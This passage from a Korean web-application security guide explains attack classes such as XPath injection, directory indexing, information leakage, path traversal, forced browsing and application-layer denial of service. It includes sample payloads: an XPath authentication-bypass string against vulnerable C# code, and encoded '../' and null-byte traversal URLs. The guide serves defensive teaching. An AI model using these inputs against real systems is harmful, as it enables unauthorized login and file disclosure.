password(비밀번호), account(계정)의 세 가지 하위요소를 가지게 된다. 다음의
Xpath expression은 이름이 "Jsmith"이고 비밀번호는 "Demo1234"라는 사용자의 계
정번호를 생산한다.
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
어플리케이션이 안전하지 못한 입력을 쿼리에 내장하면서 실행시간(run-time)
Xpath 쿼리 구조를 사용하면 공격자가 데이터를 쿼리로 인젝션 할 수 있게 된다.
그래서 새로 형성된 쿼리가 프로그래머의 의도와 다른 방향으로 분석될 수 있다.
Xpath를 사용하여 XML 문서를 쿼리하고 사용자 이름과 비밀번호를 클라이언트로
부터 받는 사용자의 계정을 복구하는 웹 어플리케이션을 생각해보자. 그런 어플리
케이션은 이런 값을 Xpath 쿼리 안에 직접 내장할 수 있으며, 보안에 구멍이 뚫릴
수 있다. 다음은 XPath 인젝션을 어떻게 수행하는지 실제 예를 통해 알아보겠다.
(assuming Microsoft ASP.NET and C#):
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'and
password/text()='"+TextBox2.Text+
"']/account/text())");
- 26 -

30. String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
위와 같은 코드가 사용되었을 때 공격자는 Xpath 식(expression)을 인젝션 할 수
있다. 예를 들어, 아래의 값을 사용자 이름으로 제공할 수 있다:
' or 1=1 or ''='
이로 인해 원래 Xpath의 의미론이 변하게 된다. 그래서 항상 첫 번째계정번호를
XML문서에 띄우게 된다. 이 경우에 쿼리를 아래와 같이 될 것이다:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
이것은 다음과 동일하고(술어predicate가 모든노드에 참임을 평가하는 것이므로)
string(//user/account/text()) //user/account/text()의 첫 번째 예를 만들어내게 된다.
그러므로 공격자는 유효한 사용자 이름이나 비밀번호를 제공하지 않아도 (XML 문
서에 제일 처음 올라가 있는 사용자로써) 로그인할 수 있게 되는 결과를 낳게 된다.
3.5 정보 유출 (I nf or mat i on Di s c l os ur e)
여기에서는 웹사이트에 대한 시스템 특정 정보(system specific information)을 획득
하기 위한 공격에 대해 다루고자 한다. 시스템 특정 정보(System specific information)
에는 소프트웨어 배포, 버전 번호, 패치 레벨이 포함된다. 또는 정보가 백업파일이나
임시파일의 위치를 포함할 수도 있다. 대개의 경우 사용자의 필요를 충족시키기 위
해서 이 정보를 밝힐 필요는 없다. 대부분의 웹사이트는 어느 정도의 정보를 reveal
하게 되지만, 가능한 한 데이터의 양을 제한하는 것이 최선이다. 공격자가 웹사이트
에 대한 정보를 더 많이 얻게 될수록 시스템은 공격에 더 쉽게 노출되는 것이다.
□ 디렉터리 인덱싱(Directory Indexing)
자동 디렉터리 리스팅/인덱싱은 만약 normal base file(index.html/home.html
/default.htm)이 없으면 요청된 디렉터리 내의 모든 파일을 목록화 해주는 웹 서버
기능이다. 사용자가 웹사이트의 메인 페이지를 요청하면 보통 http://www.example
과 같이 특정 파일로 가능 주소를 뺀 도메인 이름을 사용한 URL을 주소 창에 치게
된다. 웹 서버는 이 요청을 처리하고 디폴트 파일이름을 찾기 위해 문서루트 디렉
터리를 검색해서 이 페이지를 클라이언트에게 보낸다. 만약 이 페이지가 존재하지
- 27 -

31. 않으면 웹 서버는 디렉터리 목록 출력을 발행해서 클라이언트에게 출력을 보내게
된다. 이는 이 디렉터리 내의 "ls" (Unix)나 "dir" (윈도우)명령어를 내리는 것이나
HTML 폼으로 결과물을 보여주는 것과 같다. Nikto와 같은 취약성 스캐너는 최초
프로브(initial probe)에서 얻은 데이터에 기초하여 동적으로 추가 디렉터리/파일을
스캔에 포함시킬 수 있다. /robots.txt 파일을 리뷰하거나 디렉터리 인덱싱 컨텐츠를
검토함으로 스캐너는 이러한 새로운 데이터로 웹 서버를 한층 더 질문(interrogate)
할 수 있게 되는 것이다. 다음은 디렉토리 인덱싱이 어떻게 수행하는지 예를 통해 알
아보겠다.
다음의 정보는 디렉터리 인덱싱 데이터에 기초하여 얻을 수 있다:
- 백업 파일 : 확장자 명은 .bak, .old, .orig
- 임시파일 : 서버에서 정상적으로 삭제되었으나 어떤 이유로 아직 사용이 가능한 파일
- 숨은 파일 : 파일명이 마침표 "."로 시작
- 명명규칙 : 공격자는 웹사이트가 디렉터리나 파일의 이름을 짓는데 사용되는 작성
스킴(composition scheme)을 알아낼 수도 있다. 예: Admin vs. admin, backup
vs. back-up, 등등...
- 사용자 계정을 목록화 : 웹 서버의 개인 사용자 계정은 종종 사용자 계정 이름을
딴 홈 디렉터리를 가지고 있는 경우가 있다.
- 설정 파일 내용 : 이런 파일은 액세스 컨트롤 데이터를 포함할 수 있다. 확장자
명은 .conf, .cfg 또는.config 등이 될 수 있다.
- 스크립트 내용 –대부분의 웹 서버는 스크립트 위치(예:/cgi-bin) 을 specify하거
나 서버를 설정해서 실행 스크립트가 파일 허용에 기초해서 파일을 시험하고 실
행할 수 있도록 허용하고 있다(예: *nix systems의 실행 비트(execute bit) 와 아
파치 XbitHack 지시어). 이런 옵션 때문에 cgi-bin 내용의 디렉터리 인덱싱 내용
이 올바르지 않으면 스크립트 코드를 다운로드(또는 리뷰) 할 수 있다.
공격자가 의도하지 않은 디렉터리 리스팅/인덱스를 복구할 수 있는 시나리오는 세
가지다.
1) 웹 서버가 디렉터리 인덱스를 허가/제공하도록 잘못 설정되어, 웹 관리자가 인
덱싱 지시어를 설정 파일 안에 설정했을 때 혼란으로 인해 네트효과가 생길수
있다. 특정 서브 디렉터리에만 디렉터리 인덱싱을 허용하고 나머지 서버에는 막
아놓는다든지 하는 복잡한 세팅을 구현했을 때 의도하지 않은 결과가 나올 수
있다. 공격자의 관점에서 HTTP 요청은 위에서 설명한 이전요청과 동일하다. 디
렉터리를 요청하고 원하는 내용을 받을 수 있는지를 본다. 이들은 웹 서버가 "왜
" 이런식으로 구성되었는지 하는 이유에는 관심이 없다.
2) 웹 서버의 일부 구성요소는 설정 파일 내에서 불가능하거나 인덱스 페이지가 존
재하여 디렉터리 인덱싱에서 유일한 유효한 "exploit"예이다. 지금까지 각 웹 서
버에는 셀 수 없이 많은 취약성이 존재한다. 그래서 특정HTTP 요청이 보내지면
- 28 -

32. 디렉터리 인덱싱이 가능해 진다.
3) 구글의 캐쉬 데이터베이스에는 특정 웹사이트의 과거 스캔에서 비롯된 디렉터리
인덱스를 포함하는 히스토리 데이터가 포함되어 있을 수 있다.
□ 정보 유출(Information Leakage)
민감한 정보는 HTML 코멘트, 에러 메시지, 소스코드 내에 나타나거나 또는 단순
히 웹상에 보여 질 수 있다. 웹사이트가 이런 종류의 정보를 나타내도록 만드는 방
법은 많다. 정보유출이 됐다고 해서 꼭 보안에 구멍이 뚫렸다고 말할 수는 없지만
공격자가 향후악용에 유용한 가이드를 제공해주는 것은 확실하다. 민감한 정보의
유출은 다양한 수준의 리스크를 동반할 수 있으니 할 수 있을 때마다 제한해야 한다.
정보 유출(코드 왼쪽 코멘트, 버보스 오류 메시지 등등)이 처음 발생했을 때, 공격자
는 웹사이트가 사용한 디렉터리 구조, SQL 쿼리 구조, 주요 프로세스의 이름에 대
한 문맥상 정보를 얻을 수 있다. 종종 개발자는 HTML과 스크립트 코드에 코멘트
를 남기는데 이는 디버깅이나 통합을 원활히 하고자 함이다. 이런 정보는 스크립트
가 어떻게 작동하는 지에 대한 간단한 코멘트에서부터 최악의 경우, 개발시험단계
에서 쓴 사용자 ID와 비밀번호에 이르기까지 매우 다양 할 수 있다. 공격은 주로
웹사이트 보호망 바깥에 가해지는데 클라이언트 공격, "casual observer" concerns과
같은 경우이다. 이런 맥락에서의 정보유출은 기밀 또는 비밀로 간주되는 주요 사용
자 데이터의 노출을 다루게 된다. 즉, 사용자에게도 그냥 노출되어서는 안 되는 정
보들이다. 정보유출은 세 가지로 나눌 수 있는데, 첫 번째는 코드에 남아있는 주석,
두 번째는 버보스 오류 메시지(verbose error message), 그리고 눈에 보이는 기밀
데이타이다.
다음 예는 코드에 남아있는 주석이 정보유출을 하는 경우이다.
<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing, restartVADER -->
<TD bgColor="#ffffff" colSpan="5"
height="17" width="587">&nbsp;</TD><TR>
개발자/QA담당자가 남긴 주석이 왼쪽에 보인다. 이미지 파일이 보이지 않으면
어떻게 해야 하는 지를 알려주고 있다. 보안의 구멍은 코드에 명백하게 언급된 서
버의 호스트 이름, "VADER"이다.
버보스 오류 메시지의 예는 유효하지 않은 쿼리(invalid query)에 대한 응답에서 중
요한 정보가 포함되는 경우이다. 예를 들어 다음과 같이 로그인 페이지에 보관된
사용자 ID에 생략부호( ’ )를 붙였을 때 나오는 화면이다
- 29 -

33. An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException:
Syntax error
(missing operator) in query expression
'username = '''
and password = 'g''. at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling (Int32 hr) at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextForSingleResult (tagDBPARAMS dbParams,
Object&executeResult) at
첫 번째 오류 문장(error statement)에서 구문오류(syntax error)가 보고되었다. 에
러 메시지는 SQL 쿼리에 사용된 쿼리 매개변수 username (사용자ID)와 password
(비밀번호)를 밝혀낸다. 이 유출된 정보는 공격자가 웹사이트에 대해 SQL 인젝션
공격을 시작하는데 쓰이게 되는 것이다.
□ 경로 유출(Path Traversal)
경로유출공격기법은 잠재적으로 웹 문서의 루트 디렉터리 바깥에 있는 파일, 디렉
터리, 명령어에 대한 액세스를 강요한다. 공격자는 이런 방식으로 URL을 조작해서
웹사이트가 웹 서버상에서 어디에서든 임의파일(arbitrary file)의 내용을 실행하거나
밝히도록 할 수 있다. HTTP 기반 인터페이스를 노출하는 장치라면 잠재적으로 경로
유출에 취약하다. 대부분의 웹사이트는 일반적으로 "웹 문서 루트(web document
root)" 또는 "CGI 루트(CGI root)"라고 불리는 파일시스템의 특정부분에 대한 사용
자의 접근을 제한한다. 이런 디렉터리는 사용자 접근을 목적으로 하는 파일과 웹
어플리케이션 기능성을 구동하기 위해 필요한 실행 가능파일을 포함한다. 파일시스
템에 있는 파일이나 실행 명령어에 접근하기 위해서는 경로유출 공격은 특수문자
시퀀스 능력을 사용하게 된다. 가장 기초적인 경로 유출 공격은 "../"특수문자 시퀀
스를 쓴다. 이것은 URL에서 요청된 리소스 위치를 바꿔준다. 대부분의 대중적인 웹
서버가 이런 기법이 웹 문서 루트에서 이탈하지 못하도록 하고 있지만 "../" 시퀀스
의 교대 인코딩(alternate encoding)이 보안 필터를 우회하도록 도와줄 수 있다. 이
런 방법 변화에는 /슬래시의 유효한 유니코드 인코딩과 유효하지 않은 유니코드 인
코딩 ("..%u2216" 또는 "..%c0%af"), 윈도우 기반 서버에 있는 /슬래시, URL 인코딩된
문자("%2e%2e%2f"), 슬래시 문자의 이중 URL 인코딩("..%255c")이 포함된다. 웹 서
버가 URL 경로에 있는 경로 유출시도를 제한하더라도 웹 어플리케이션 자체가 사
용자제공입력의 부적절한 취급으로 인해 여전히 취약할 수 있다. 이것은 템플릿 매
- 30 -

34. 커니즘을 사용하거나 파일에서 정적 텍스트를 로드하는 웹 어플리케이션의 공통적
인 문제점이다. 공격의 변화에서 원래 URL 매개변수 값은 웹 어플리케이션의 동적
스크립트 중 하나의 파일이름으로 대체된다. 결과, 파일은 실행파일이 아닌 텍스트
로 해석되기 때문에 소스코드가 밝혀지게 된다. 이 기법은 현재 동작 디렉터리의
리스팅을 밝히기 위해종종 "."이나 "%00" NUL 문자와 같은 추가적인 특수문자를
사용한다. Rudimentary file 확장 체크를 우회하기 위해서이다.
다음 예는 웹 서버에 대한 경로유출 공격 하는 경우이다.
Attack:http://example/../../../../../some/file
Attack:http://example/..%255c..%255c..%255csome/file
Attack: http://example/..%u2216..%u2216some/file
다음 예는 웹 어플리케이션에대한 경로 유출 공격 하는 경우이다.
Original: http://example/foo.cgi?home=index.htm
Attack: http://example/foo.cgi?home=foo.cgi
위 공격에서 home 변수의 값이 컨텐트로 쓰였기 때문에 웹 어플리케이션은
foo.cgi 파일의 소스코드를 밝힌다. 이 경우에 공격자는 공격을 성공시키기 위해서
어떠한 유효하지 않은 문자나 경로 유출 문자를 제출할 필요가 없다는 점을 주목해
보자. 공격자는 같은 디렉터리내의 다른 파일을 index.htm으로 타깃 삼았다.
다음 예는 특수문자시퀀스를 사용한 웹 어플리케이션에 대한 경로 유출공격 하는
경우이다.
Original: http://example/scripts/foo.cgi?page=menu.txt
Attack: http://example/scripts/foo.cgi?page=../scripts/foo. cgi%00txt
위 예제에서 웹 어플리케이션은 특수문자시퀀스를 써서 foo.cgi 파일의 소스코드
를 밝힌다. "../"시퀀스는 현재 디렉터리 상위 디렉터리를 traverse하고 /scripts 디렉
터리에 들어가기 위해서 쓰였다. "%00" 시퀀스는 파일 확장체크를 우회하고 또 파일
이 읽혔을 때 확장을 차단(snip off)하기 위해 쓰였다는 것을 알 수 있다.
□ 예측 가능한 리소스 위치(Predictable Resource Location)
예측 가능한 리소스 위치는 숨겨진 웹사이트 내용과 기능성을 알아내기 위해 쓰
이는 공격기법이다. 이 공격은 일반 사용자가 열람하지 못하도록 하고자 하는 컨텐
트를 찾는 무차별 검색을 이용하는 것이다. 임시파일, 백업파일, 설정 파일, 샘플 파
일은 모두 잠재적으로 잉여파일(leftover file)이 될 수 있는 예들이다. 이런 무차별
검색은 숨겨진 파일들이 공통적인 명명규칙(naming convention)을 가지고 있는 경
우가 많고 또 표준위치에 있기 때문에 쉽다. 이런 파일은 웹 어플리케이션, 데이터
베이스 정보, 비밀번호, 기계 이름 등이 임의의 경로에 민감한 정보를 공개할 수 있
- 31 -

35. 으며 취약성을 포함하고 있을 가능성도 있다. 예측 가능한 리소스 위치는 강제 검색
(Forced Browsing), 파일 목록화(File Enumeration), 디렉터리 목록화(Directory
Enumeration) 등으로도 알려져 있다.
다음은 서치기능과 확장자를 조회하는 방법의 예이다.
- 공통 파일과 디렉터리에 대한 Blind search
/admin/, /backup/, /logs/, /vulnerable_file.cgi
- 기존 파일명에 확장자 첨부: (/test.asp)
/test.asp.bak, /test.bak, /test
3.6 논리적 공격(Lo g i c a l At t a c ks)
여기에서는 웹 어플리케이션의 논리적 흐름(logic flow)의 남용(또는 악용)에 포커스를
맞춘다. 어플리케이션 논리는 어떤 동작을 수행하기 위해서 사용되는 예상되는 절차
흐름이다. 비밀번호 복구, 계정 등록, 경매입찰, 전자상거래 구매 등이 모두 어플리
케이션 논리의 예이다. 특정 동작을 완성하기 위해 웹사이트에서 사용자에게 구체
적인 여러 단계를 올바르게 수행할 것을 웹사이트에서 요구할 수도 있다. 공격자는
이러한 특징을 우회하거나 오용해서 웹사이트와 그 사용자를 해칠 수 있다.
□ 기능의 오남용(Abuse of Functionality)
기능의 오남용은 웹사이트만의 특징과 기능을 통해 액세스 컨트하는 매커니즘을
소비하거나(consume), 속이거나(defraud), 우회(circumvent)하는 공격기법이다. 웹사
이트의 일부 기능성, 보안관련 특징도 예측할 수 없는 행동을 초래하는데 남용될
수 있다. 일부 기능이 남용될 수 있는 상태가 될 때 공격자는 잠재적으로 다른 사
용자를 성가시게 하거나 잠재적으로 시스템 전체를 속일 수 있다. 기능의 오남용
기법은 다른 카테고리의 웹 어플리케이션 공격법, 즉 웹 검색기능을 원격 웹 프록
시로 바꿔버리는 문자열을 도입하기 위해 인코딩 공격을 하는 등의 공격법과 서로
얽히게 되는 경우가 종종 있다. 기능의 오남용 공격은 또한 승수효과(force
multiplier)로도 잘 사용된다. 예를 들어 공격자는 XSS snippet을 web-chat 세션에
인젝션하고 내장된 동보기능(built-in broadcast function)을 써서 웹사이트전체에 악
성코드를 퍼뜨릴 수할 수 있다. 넓게 보면, 컴퓨터 기반 시스템에 대한모든 효과적
인 공격에는 기능성오남용 문제가 수반된다. 특히, 이런 정의는 악의적인 목적을 위
해 유용한 웹 어플리케이션을 전복시키는 공격에 쓸 수 있다.
다음 아래는 기능의 오남용의 예이다.
- 웹사이트의 검색기능을 써서 웹디렉터리 바깥의 제한된 파일에 접근
- 중요한 내부 설정파일 교체를 위한 파일 업로드 서브시스템 전복
- 32 -

36. - 웹 로그인 시스템을 good usernames와 bad passwords로 범람시켜 DoS실행
- 로그인 재시도 제한이 초과되었을 때 합법적인 사용자를 차단
□ 서비스거부(Denial of Service)
서비스 거부는 웹사이트가 정상적인 사용자 활동을 수행하지 못하도록 하는 공격
기법이다. DoS공격은 보통 쉽게 네트워크 계층에 적용되는데 어플리케이션 계층에
서도 가능하다. 이러한 악성공격은 시스템에 중요한 리소스, 취약성 악용, 기능성
오남용을 공급하지 않도록 해서 성공할 수 있다. 많은 경우 DoS 공격은 모든 웹사
이트의 사용 가능한 시스템 리소스를 소모하고자 한다. 예를 들어 CPU, 메모리, 디
스크 공간 등이다. 이런 중요한 리소스중 하나라도 100%가동되게 되면 웹사이트는
보통액세스가 불가능하게 된다. 예를 들어, 병력을 담은 보고서를 작성하는 의료 관
련웹사이트가 있다고 치자. 각 보고서 요청마다 웹사이트는 데이터베이스를 조회해
서 해당 사회보장번호와 맞는 모든 기록을 꺼내게 된다. 수십만 개의 기록이 데이
터베이스에 저장되어 있다고 생각할 때(모든 사용자에 대한 자료), 사용자는 의료기
록 보고서를 받기위해 3분 정도 기다려야 할 것이다. 그 3분이라는 시간 동안 맞는
기록을 찾으면서 데이터베이스 서버의 CPU 활용도는 60%에 달하게 된다. 일반적인
어플리케이션 계층의 DoS 공격은 병력 보고서를 요청하는 동시신호를 10번 보낼
것이다. 이 요청으로 인해 데이터베이스 서버의 CPU율이 100%에 달하게 되면서 웹
사이트는 DoS 상태가 될 가능성이 아주 높다. 일반적으로 DoS 공격은 다음 아래와
같이 3가지 유형이 있다.
- 특정 사용자를 타깃으로 한 DoS
침입자는 계속틀린 비밀번호로 웹사이트에 로그인 하려고 할 것이다. 이로 인해
실제 사용자는 들어가지 못하게 된다.
- 데이터베이스 서버를 타겟으로 한 DoS
침입자는 SQL 인젝션 기법을 써서 데이터베이스를 수정할 것이다. 그러면 시스
템은 사용불가능상태가 된다.(예: 모든 데이터 삭제, 모든 사용자 ID 삭제 등등)
- 웹서버를 타겟으로 한 DoS
침입자는 버퍼오버플로우 기법을 사용해서 특별히 만든 요청을 보낼 것이다. 이
요청은 웹 서버 프로세스를 충돌시키고 시스템이 보통 사용자 활동에 접속하지
못하게 만들어버릴 것이다.
□ 불충분한 반-자동화
불충분한 반-자동화는 공격자가 수작업으로만 작동되어야 할 프로세스를 자동화
하도록 웹사이트가 허용할 때 발생한다. 특정 웹사이트 기능성은 자동화된 공격으
로부터 보호해야 한다. 검사를 받지 않고 놔두면, 자동화 프로그램나 공격자가 계속
- 33 -

37. 해서 웹사이트 기능성을 작용시켜 시스템을 exploit하거나 defraud하려고 할 수 있다.
자동화는 잠재적으로 일분에 수천 건의요청을 실행하여 성능이나 서비스 저하를
불러일으킬 수 있기 때문이다. 예를 들어, 자동화프로그램을 통해 몇 분에 만개의
사용자 계정을 새로 등록할 수 있다거나, 반복해서 게시물 등록을 할 경우 서비스
저하가 일어날 것임은 자명한 일이다 할 수 있겠다.
□ 불충분한 프로세스 검증(Insufficient Process Validation)
불충분한 프로세스 검증은 공격자가 어플리케이션의 의도된 플로우 컨트롤을 우회
하거나 따돌릴 수 있도록 웹사이트가 허락할 때 발생한다. 프로세스가 동작하는 하
는 동안 사용자 상태가 검증되지 않고 강요되면 웹사이트는 악용이나 사기(fraud)에
취약할 수 있다. 사용자가 어떤 웹사이트 기능을 실행할 때 어플리케이션은 사용자
가 특정 순서(order sequence)를 항행(navigate)할 것이라고 예상할 수 있다. 사용자
가 어떤 단계를 올바르지 못하게 실행한다면 데이터 무결성오류(data integrity
error)가 일어난다. 다른 예로 송금, 비밀번호 복구, 구매확인(purchase checkout),
계좌 등록(account signup) 등이 있다. 이런 프로세스 전에 어떤 단계가 먼저 실행
되기를 요청할 수도 있다. 다단계 프로세스가 제대로 작동하기 위해서 웹사이트는
사용자가 프로세스 플로우를 traverse하는 동안 사용자 상태를 유지해야 한다. 웹사
이트는 보통 사용자상태를 쿠키사용이나 숨은 HTML 폼필드를 통해서 추적하게 된다.
그러나, 추적이 웹 브라우저 내에서 클라이언트 쪽에 저장이 될 때에는 데이터의
무결성이 검증되어야 한다. 만약 그렇지 않을 시에, 공격자는 예상되는 트래픽 플로
우를 현 상태를 바꿔서 우회할 수 있다.
제 4 장 Web2.0의 취약성
Web2.0에 있어 보안 이슈들을 간략히 정리해 보면,
(1) 기존 HTTP 요청(GET,POST) 같은 방식으로 인해 정보 노출 취약점이 존재
(2) 암호화된 데이터를 복호화하는 과정에서의 Key 노출의 위험 존재.
(3) 원격 코드를 삽입하거나 악의적인 사용자에 의한 데이터 조작.
(4) XSS(Cross-Site Scripting), SQL Injection 취약점
(5) 설계 상 또는 잘못된 응용프로그램 구현으로 인한 취약점 등
Web2.0에서는 RSS와 Atom 표준을 사용하는 XML 컨텐트 피드를 이용한다. 따라
서, 사용자와 웹사이트 모두 해당 웹사이트를 방문하지 않고도 컨텐트 헤드라인과
본문내용을 얻게 해준다. 또한 사용자는 기본적으로 해당 웹사이트의 컨텐트에 대한
요약을 볼 수 있다. 불행하게도, 이러한 데이터를 수신하는 애플리케이션의 대다수
는 제 3자로부터 얻은 컨텐트를 사용하는 데 따른 보안상의 문제를 고려하지 않고
- 34 -